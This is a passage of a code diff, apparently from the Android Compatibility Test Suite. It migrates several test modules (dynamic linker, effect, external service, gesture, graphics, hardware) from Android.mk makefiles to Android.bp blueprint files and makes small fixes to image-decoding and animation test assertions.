-LOCAL_SDK_VERSION := 25
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_STRIP_MODULE := false
-include $(BUILD_SHARED_LIBRARY)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libdynamiclinker_native_lib_b
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := native_lib_b.cpp
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-LOCAL_SDK_VERSION := 25
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_STRIP_MODULE := false
-include $(BUILD_SHARED_LIBRARY)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-LOCAL_SRC_FILES := $(call all-java-files-under, .)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libdynamiclinker_native_lib_a libdynamiclinker_native_lib_b
-LOCAL_MANIFEST_FILE := AndroidManifest.xml
-LOCAL_PACKAGE_NAME := CtsDynamicLinkerTestCases
-LOCAL_SDK_VERSION := current
-LOCAL_COMPATIBILITY_SUITE := cts vts
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dynamic_linker/AndroidManifest.xml b/tests/tests/dynamic_linker/AndroidManifest.xml
index d417449..3d606c1 100644
--- a/tests/tests/dynamic_linker/AndroidManifest.xml
+++ b/tests/tests/dynamic_linker/AndroidManifest.xml
@@ -15,7 +15,8 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.dynamiclinker">
+    package="com.android.dynamiclinker"
+    android:targetSandboxVersion="2">
 
     <application android:extractNativeLibs="false">
         <uses-library android:name="android.test.runner" />
@@ -23,4 +24,4 @@
     <instrumentation
         android:targetPackage="com.android.dynamiclinker"
         android:name="androidx.test.runner.AndroidJUnitRunner" />
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/tests/dynamic_linker/AndroidTest.xml b/tests/tests/dynamic_linker/AndroidTest.xml
index 483ae03..95433a4 100644
--- a/tests/tests/dynamic_linker/AndroidTest.xml
+++ b/tests/tests/dynamic_linker/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS dynamic linker test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="bionic" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDynamicLinkerTestCases.apk" />
diff --git a/tests/tests/dynamic_linker/OWNERS b/tests/tests/dynamic_linker/OWNERS
new file mode 100644
index 0000000..21464c5
--- /dev/null
+++ b/tests/tests/dynamic_linker/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 14890
+rprichard@google.com
diff --git a/tests/tests/effect/Android.bp b/tests/tests/effect/Android.bp
new file mode 100644
index 0000000..5b62692
--- /dev/null
+++ b/tests/tests/effect/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsEffectTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: ["ctstestrunner-axt"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/tests/effect/Android.mk b/tests/tests/effect/Android.mk
deleted file mode 100644
index f2fcc94..0000000
--- a/tests/tests/effect/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsEffectTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/externalservice/Android.bp b/tests/tests/externalservice/Android.bp
new file mode 100644
index 0000000..11a1d35
--- /dev/null
+++ b/tests/tests/externalservice/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsExternalServiceTestCases",
+    defaults: ["cts_defaults"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: [
+        "CtsExternalServiceCommon",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/externalservice/Android.mk b/tests/tests/externalservice/Android.mk
deleted file mode 100644
index d5513e3..0000000
--- a/tests/tests/externalservice/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := CtsExternalServiceCommon compatibility-device-util-axt ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsExternalServiceTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/externalservice/common/Android.bp b/tests/tests/externalservice/common/Android.bp
new file mode 100644
index 0000000..4348ace
--- /dev/null
+++ b/tests/tests/externalservice/common/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "CtsExternalServiceCommon",
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/tests/tests/externalservice/common/Android.mk b/tests/tests/externalservice/common/Android.mk
deleted file mode 100644
index 1ebf149..0000000
--- a/tests/tests/externalservice/common/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := CtsExternalServiceCommon
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/externalservice/service/Android.bp b/tests/tests/externalservice/service/Android.bp
new file mode 100644
index 0000000..29b48d1
--- /dev/null
+++ b/tests/tests/externalservice/service/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsExternalServiceService",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "CtsExternalServiceCommon",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/externalservice/service/Android.mk b/tests/tests/externalservice/service/Android.mk
deleted file mode 100644
index 400891e..0000000
--- a/tests/tests/externalservice/service/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsExternalServiceCommon \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsExternalServiceService
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/gesture/Android.bp b/tests/tests/gesture/Android.bp
new file mode 100644
index 0000000..37ed239
--- /dev/null
+++ b/tests/tests/gesture/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsGestureTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+
+    static_libs: ["androidx.test.rules"],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/tests/gesture/Android.mk b/tests/tests/gesture/Android.mk
deleted file mode 100755
index 4be4bed..0000000
--- a/tests/tests/gesture/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsGestureTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/graphics/Android.bp b/tests/tests/graphics/Android.bp
new file mode 100644
index 0000000..da6558d
--- /dev/null
+++ b/tests/tests/graphics/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsGraphicsTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "ctstestrunner-axt",
+        "androidx.annotation_annotation",
+        "junit",
+        "androidx.core_core",
+    ],
+    jni_libs: ["libctsgraphics_jni"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // Enforce public / test api only
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/graphics/Android.mk b/tests/tests/graphics/Android.mk
deleted file mode 100644
index d3d1046..0000000
--- a/tests/tests/graphics/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MULTILIB := both
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES += \
-    androidx.test.rules \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctsdeviceutillegacy-axt \
-    ctstestrunner-axt \
-    androidx.annotation_annotation \
-    junit
-
-LOCAL_STATIC_ANDROID_LIBRARIES += \
-    androidx.core_core
-
-LOCAL_JNI_SHARED_LIBRARIES := libctsgraphics_jni
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsGraphicsTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Enforce public / test api only
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/graphics/jni/Android.bp b/tests/tests/graphics/jni/Android.bp
new file mode 100644
index 0000000..fdcbd4a
--- /dev/null
+++ b/tests/tests/graphics/jni/Android.bp
@@ -0,0 +1,59 @@
+// Copyright 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctsgraphics_jni",
+    gtest: false,
+    srcs: [
+        "CtsGraphicsJniOnLoad.cpp",
+        "android_graphics_cts_ANativeWindowTest.cpp",
+        "android_graphics_cts_ASurfaceTextureTest.cpp",
+        "android_graphics_cts_BasicVulkanGpuTest.cpp",
+        "android_graphics_cts_BitmapTest.cpp",
+        "android_graphics_cts_SyncTest.cpp",
+        "android_graphics_cts_CameraGpuCtsActivity.cpp",
+        "android_graphics_cts_CameraVulkanGpuTest.cpp",
+        "android_graphics_cts_MediaVulkanGpuTest.cpp",
+        "android_graphics_cts_VulkanFeaturesTest.cpp",
+        "android_graphics_cts_VulkanPreTransformCtsActivity.cpp",
+        "CameraTestHelpers.cpp",
+        "ImageReaderTestHelpers.cpp",
+        "MediaTestHelpers.cpp",
+        "NativeTestHelpers.cpp",
+        "VulkanPreTransformTestHelpers.cpp",
+        "VulkanTestHelpers.cpp",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-DGL_GLEXT_PROTOTYPES",
+        "-DEGL_EGLEXT_PROTOTYPES",
+    ],
+    static_libs: ["libvkjson_ndk"],
+    shared_libs: [
+        "libandroid",
+        "libvulkan",
+        "libnativewindow",
+        "libsync",
+        "liblog",
+        "libdl",
+        "libjnigraphics",
+        "libcamera2ndk",
+        "libmediandk",
+        "libEGL",
+        "libGLESv2",
+    ],
+    stl: "c++_static",
+    sdk_version: "current",
+}
diff --git a/tests/tests/graphics/jni/Android.mk b/tests/tests/graphics/jni/Android.mk
deleted file mode 100644
index b72fde7..0000000
--- a/tests/tests/graphics/jni/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsgraphics_jni
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-	CtsGraphicsJniOnLoad.cpp \
-	android_graphics_cts_ANativeWindowTest.cpp \
-	android_graphics_cts_ASurfaceTextureTest.cpp \
-	android_graphics_cts_BasicVulkanGpuTest.cpp \
-	android_graphics_cts_BitmapTest.cpp \
-	android_graphics_cts_SyncTest.cpp \
-	android_graphics_cts_CameraGpuCtsActivity.cpp \
-	android_graphics_cts_CameraVulkanGpuTest.cpp \
-	android_graphics_cts_MediaVulkanGpuTest.cpp \
-	android_graphics_cts_VulkanFeaturesTest.cpp \
-	android_graphics_cts_VulkanPreTransformCtsActivity.cpp \
-	CameraTestHelpers.cpp \
-	ImageReaderTestHelpers.cpp \
-	MediaTestHelpers.cpp \
-	NativeTestHelpers.cpp \
-	VulkanPreTransformTestHelpers.cpp \
-	VulkanTestHelpers.cpp
-
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror -DGL_GLEXT_PROTOTYPES -DEGL_EGLEXT_PROTOTYPES
-
-LOCAL_STATIC_LIBRARIES := libvkjson_ndk
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan libnativewindow libsync liblog libdl libjnigraphics \
-                          libcamera2ndk libmediandk libEGL libGLESv2
-LOCAL_NDK_STL_VARIANT := c++_static
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/graphics/res/drawable/ninepatch_0.9.png b/tests/tests/graphics/res/drawable/ninepatch_0.9.png
index 24019d8..13a12cb 100644
--- a/tests/tests/graphics/res/drawable/ninepatch_0.9.png
+++ b/tests/tests/graphics/res/drawable/ninepatch_0.9.png
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index be5f331..cbf1a61 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -1723,10 +1723,15 @@
                         }
                     }
                 } else {
-                    // Not decoding to HARDWARE, but |normal| was. As such this should always
-                    // succeed in being smaller, as software will decode to 565 in this case.
-                    // This will always be less than whatever HARDWARE supports.
-                    assertTrue(byteCount < normalByteCount);
+                    // Not decoding to HARDWARE, but |normal| was. Again, if basi6a16
+                    // was decoded to 8888, which we can detect by looking at the color
+                    // space, no savings are possible.
+                    if (resId == R.raw.basi6a16 && !normal.getColorSpace().equals(
+                                ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB))) {
+                        assertEquals(normalByteCount, byteCount);
+                    } else {
+                        assertTrue(byteCount < normalByteCount);
+                    }
                 }
             }
         }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
index b2281b2..b1a4bd9 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
@@ -383,6 +383,9 @@
                 drawable.start();
             });
 
+            cb.waitForStart();
+            cb.assertStarted(true);
+
             // The animation runs repeatCount + 1 total times.
             cb.waitForEnd(DURATION * repeatCount);
             cb.assertEnded(false);
diff --git a/tests/tests/hardware/Android.bp b/tests/tests/hardware/Android.bp
new file mode 100644
index 0000000..703dee7
--- /dev/null
+++ b/tests/tests/hardware/Android.bp
@@ -0,0 +1,46 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHardwareTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    compile_multilib: "both",
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
+        "cts-input-lib",
+        "ctstestrunner-axt",
+        "mockito-target-minus-junit4",
+        "platform-test-annotations",
+        "ub-uiautomator",
+    ],
+    jni_libs: [
+        "libctshardware_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: ["src/**/*.java"],
+
+    platform_apis: true,
+
+}
diff --git a/tests/tests/hardware/Android.mk b/tests/tests/hardware/Android.mk
deleted file mode 100644
index 2fdd4a7..0000000
--- a/tests/tests/hardware/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MULTILIB := both
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    mockito-target-minus-junit4 \
-    platform-test-annotations \
-    ub-uiautomator
-
-LOCAL_JNI_SHARED_LIBRARIES := libctshardware_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHardwareTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/hardware/jni/Android.bp b/tests/tests/hardware/jni/Android.bp
new file mode 100644
index 0000000..e707edb
--- /dev/null
+++ b/tests/tests/hardware/jni/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctshardware_jni",
+    cflags: ["-Werror"],
+    gtest: false,
+    srcs: [
+        "CtsHardwareJniOnLoad.cpp",
+        "android_hardware_cts_HardwareBufferTest.cpp",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+    ],
+
+    stl: "libc++_static",
+
+    clang: true,
+}
diff --git a/tests/tests/hardware/jni/Android.mk b/tests/tests/hardware/jni/Android.mk
deleted file mode 100644
index 0cd95e7..0000000
--- a/tests/tests/hardware/jni/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctshardware_jni
-
-LOCAL_CFLAGS += -Werror
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-		CtsHardwareJniOnLoad.cpp \
-		android_hardware_cts_HardwareBufferTest.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog
-
-LOCAL_CXX_STL := libc++_static
-
-LOCAL_CLANG := true
-
-include $(BUILD_SHARED_LIBRARY)
